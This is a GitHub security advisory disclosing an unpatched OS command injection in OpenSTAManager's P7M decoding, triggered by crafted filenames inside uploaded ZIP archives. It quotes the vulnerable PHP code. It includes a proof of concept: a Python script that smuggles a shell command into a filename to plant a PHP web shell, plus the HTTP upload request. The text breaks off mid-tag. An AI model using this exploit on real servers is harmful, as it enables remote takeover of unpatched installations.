GitHub Security Advisory: GHSA-25fp-8w8p-mx36
Package: devcode-it/openstamanager (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager has an OS Command Injection in P7M File Processing

Details:
## Summary
A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.


## Vulnerable Code
**File:** `src/Util/XML.php:100`

```php
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
```

**The Problem:**
- The `$file` parameter is passed directly into `exec()` without sanitization
- Although wrapped in double quotes, an attacker can escape them
- The filename comes from uploaded ZIP archives (user-controlled)

## Attack Vector

### Entry Points:
1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)
   ```php
   foreach ($files_xml as $xml) {
       if (string_ends_with($xml, '.p7m')) {
           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
   ```

2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)
   ```php
   if (string_ends_with($name, '.p7m')) {
       $file = XML::decodeP7M($this->file);  // $name from user input!
   ```

### Attack Flow:
1. Attacker creates ZIP with malicious filename
2. Upload ZIP via importFE_ZIP plugin
3. Application extracts ZIP and iterates files
4. For `.p7m` files, `decodeP7M()` is called
5. Malicious filename is injected into `exec()` command
6. Arbitrary command executes as web server user

## Proof of Concept

**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.

### Step 1: Create Malicious ZIP

```python
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
```

### Step 2: Upload ZIP

```http
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
```
<img width="2539" height="809" al